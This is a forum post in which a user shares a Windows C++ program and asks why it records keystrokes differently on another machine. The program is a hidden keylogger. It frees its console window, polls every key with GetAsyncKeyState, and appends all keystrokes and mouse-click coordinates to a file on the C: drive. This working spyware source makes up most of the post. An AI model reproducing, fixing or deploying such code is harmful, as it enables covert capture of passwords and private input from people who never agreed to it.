Here is my code:
#include <iostream>
#include <fstream>
using namespace std;
#include <Windows.h>
#include <Winuser.h>
int main(int argc, char *argv[])
{
FreeConsole();
int mouseX = 0;
int mouseY = 0;
while (1)
{
for (char i = 0; i < 126; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
if (i == '{')
{
return EXIT_SUCCESS;
}
ofstream fileSaver;
fileSaver.open("C:\\LOGWITHMOUSE.txt", ios::app);
if ((int)i == 1 || (int)i == 2)
{
POINT cursorPos;
GetCursorPos(&cursorPos);
mouseX = (int) cursorPos.x;
mouseY = (int) cursorPos.y;
fileSaver << endl << " MouseClick! Coordinates: (" << mouseX << ", " << mouseY << ")" << endl;
}
else
{
fileSaver << i;
}
fileSaver.close();
}
}
}
}
I've tried to correct this by adding the sleep function, and with a little troubleshooting I can get close to the right amount, but it isn't nearly as good as when it's ran on my desktop. Also, I stored the last char pressed in a variable, and only wrote the char if it was unequal to the present char (but that doesn't work as desired for obvious reasons). I'm stumped. Can someone please shed some light as to why this is happening?

New Topic/Question
Reply



MultiQuote




|